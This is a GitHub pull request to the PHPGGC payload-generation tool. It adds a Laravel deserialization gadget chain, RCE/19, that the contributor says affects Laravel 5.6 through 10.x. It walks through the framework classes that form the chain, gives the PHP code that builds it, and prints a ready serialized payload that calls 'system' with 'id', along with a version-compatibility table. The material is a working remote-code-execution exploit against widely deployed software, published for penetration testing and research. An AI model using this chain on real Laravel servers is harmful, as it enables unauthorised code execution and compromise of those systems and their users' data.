ambionics / phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
https://ambionics.io/blog
Apache License 2.0
3.25k stars 502 forks source link

Laravel: Added RCE/19, which targets Laravel versions 5.6 <= 10.x #172

Closed therealcoiffeur closed 11 months ago

therealcoiffeur commented 11 months ago

I would like to add my Laravel gadgets chain to PHPGGC.

Laravel is a web application framework.

Why?

This technique is known so there is nothing new.

When we search for gadgets chain, we audit the code of all objects in the framework and, more specifically, the code of the following magic methods:

The purpose of this pull request is to help noephites like me by clarifying the possibility of using the magic method _destruct() as a proxy to reach other magic methods, such as __toString(), __call() or __get().

The chain I've identified uses the following objects:

When an object is destroyed, its magic method __destruct() is called by default.

File: src/Illuminate/Routing/PendingResourceRegistration.php
Class: PendingResourceRegistration
Functions: __destruct(), register()

<?php

namespace Illuminate\Routing;

use Illuminate\Support\Traits\Macroable;

class PendingResourceRegistration
{
    use Macroable;

    ...

    /**
     * Register the resource route.
     *
     * @return \Illuminate\Routing\RouteCollection
     */
    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }

    /**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }

We can see that $this->registrar must at least be defined and be an object of class ResourceRegistrar in order to call its function register(). Moreover, it is clear that we control all the parameters of the function register() ($this->name, $this->controller, $this->options).

File: src/Illuminate/Routing/ResourceRegistrar.php
Class: ResourceRegistrar
Function: register()

<?php

namespace Illuminate\Routing;

use Illuminate\Support\Str;

class ResourceRegistrar
{

    ...

    /**
     * Route a resource to a controller.
     *
     * @param  string  $name
     * @param  string  $controller
     * @param  array   $options
     * @return \Illuminate\Routing\RouteCollection
     */
    public function register($name, $controller, array $options = [])
    {

        ...

        if (Str::contains($name, '/')) {
            $this->prefixedResource($name, $controller, $options);

            return;
        }

        ...

    }

    ...

Function call Str::contains() triggers function __toString() from $name which we defined as an Illuminate\Validation\Rules\RequiredIf object.

File: src/Illuminate/Validation/Rules/RequiredIf.php
Class: PendingResourceRegistration
Function: __toString()

<?php

namespace Illuminate\Validation\Rules;

class RequiredIf
{

    ...

    /**
     * Convert the rule to a validation string.
     *
     * @return string
     */
    public function __toString()
    {
        if (is_callable($this->condition)) {
            return call_user_func($this->condition) ? 'required' : '';
        }

        return $this->condition ? 'required' : '';
    }
}

When we look at the function call_user_func(), we realize that we can pass it an array as first parameter (as shown in the example below from the PHP official documentation).

call_user_func
call_user_func — Call the callback given by the first parameter
Description
call_user_func(callable $callback, mixed ...$args): mixed
...

File: Example #4 Using a class method with call_user_func()

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

So we need an object which, when we call one of its methods without parameters, allows us to obtain code execution.

File: src/Illuminate/Auth/RequestGuard.php
Class: RequestGuard
Function: user()

<?php

namespace Illuminate\Auth;

use Illuminate\Http\Request;
use Illuminate\Contracts\Auth\Guard;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Auth\UserProvider;

class RequestGuard implements Guard
{
    use GuardHelpers, Macroable;

    ...

    /**
     * Get the currently authenticated user.
     *
     * @return \Illuminate\Contracts\Auth\Authenticatable|null
     */
    public function user()
    {
        // If we've already retrieved the user for the current request we can just
        // return it back immediately. We do not want to fetch the user data on
        // every call to this method because that would be tremendously slow.
        if (! is_null($this->user)) {
            return $this->user;
        }

        return $this->user = call_user_func(
            $this->callback, $this->request, $this->getProvider()
        );
    }

    ...
}

We can take a look at the function Illuminate\Auth\GuardHelpers::getProvider() to ensure that we control all the parameters of this last call to call_user_func().

File: src/Illuminate/Auth/GuardHelpers.php
Class: GuardHelpers
Function: getProvider()

<?php

namespace Illuminate\Auth;

use Illuminate\Contracts\Auth\UserProvider;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;

/**
 * These methods are typically the same across all guards.
 */
trait GuardHelpers
{

    ...

    /**
     * Get the user provider used by the guard.
     *
     * @return \Illuminate\Contracts\Auth\UserProvider
     */
    public function getProvider()
    {
        return $this->provider;
    }

    ...

}

All we have to do now is to implement it within PHPGGC:

<?php

namespace Illuminate\Auth
{
    class RequestGuard
    {
        protected $callback;
        protected $request;
        protected $provider;
        public function __construct($callback, $request)
        {
            $this->callback = $callback;
            $this->request = $request;
            $this->provider = 1;
        }
    }
}

namespace Illuminate\Validation\Rules
{
    class RequiredIf
    {
        public $condition;
        public function __construct($func, $arg)
        {
            $this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
        }
    }
}

namespace Illuminate\Routing
{
    class ResourceRegistrar
    {
        protected $router;
        public function __construct()
        {
            $this->router = null;
        }
    }

    class PendingResourceRegistration
    {
        protected $registrar;
        protected $name;
        protected $registered = false;
        public function __construct($func, $arg)
        {
            $this->registrar = new \Illuminate\Routing\ResourceRegistrar();
            $this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
        }
    }
}

Now we can generate our new gadgets chain with PHPGGC:

./phpggc Laravel/RCE19 system id
O:46:"Illuminate\Routing\PendingResourceRegistration":3:{s:12:"*registrar";O:36:"Illuminate\Routing\ResourceRegistrar":1:{s:9:"*router";N;}s:7:"*name";O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:11:"*callback";s:6:"system";s:10:"*request";s:2:"id";s:11:"*provider";i:1;}i:1;s:4:"user";}}s:13:"*registered";b:0;}

In the end, we just look at the Laravel code for different versions to determine which version of Laravel is exploitable with this gadgets chain.

Laravel version Illuminate\Auth\RequestGuard::user() Illuminate\Validation\Rules\RequiredIf::__toString() Illuminate\Routing\ResourceRegistrar::register() Illuminate\Routing\PendingResourceRegistration::__destruct() Complete gadgets chain
4.0 - - - - -
4.1 - - - - -
4.2 - - - - -
5.0 - - ok since v5.0.30 in 2014 - -
5.1 - - ok - -
5.2 ok since v5.2.41 in 2015 - ok - -
5.3 ok - ok - -
5.4 ok - ok - -
5.5 ok - ok ok since v5.5.0 in 2017 -
5.6 ok ok since v5.6.30 in 2018 ok ok ok
5.7 ok ok ok ok ok
5.8 ok ok ok ok ok
6.x ok ok ok ok ok
7.x ok ok ok ok ok
8.x ok ok ok ok ok
9.x ok ok ok ok ok
10.x ok ok ok ok ok
cfreal commented 11 months ago

Thanks, coiffeur!

Charles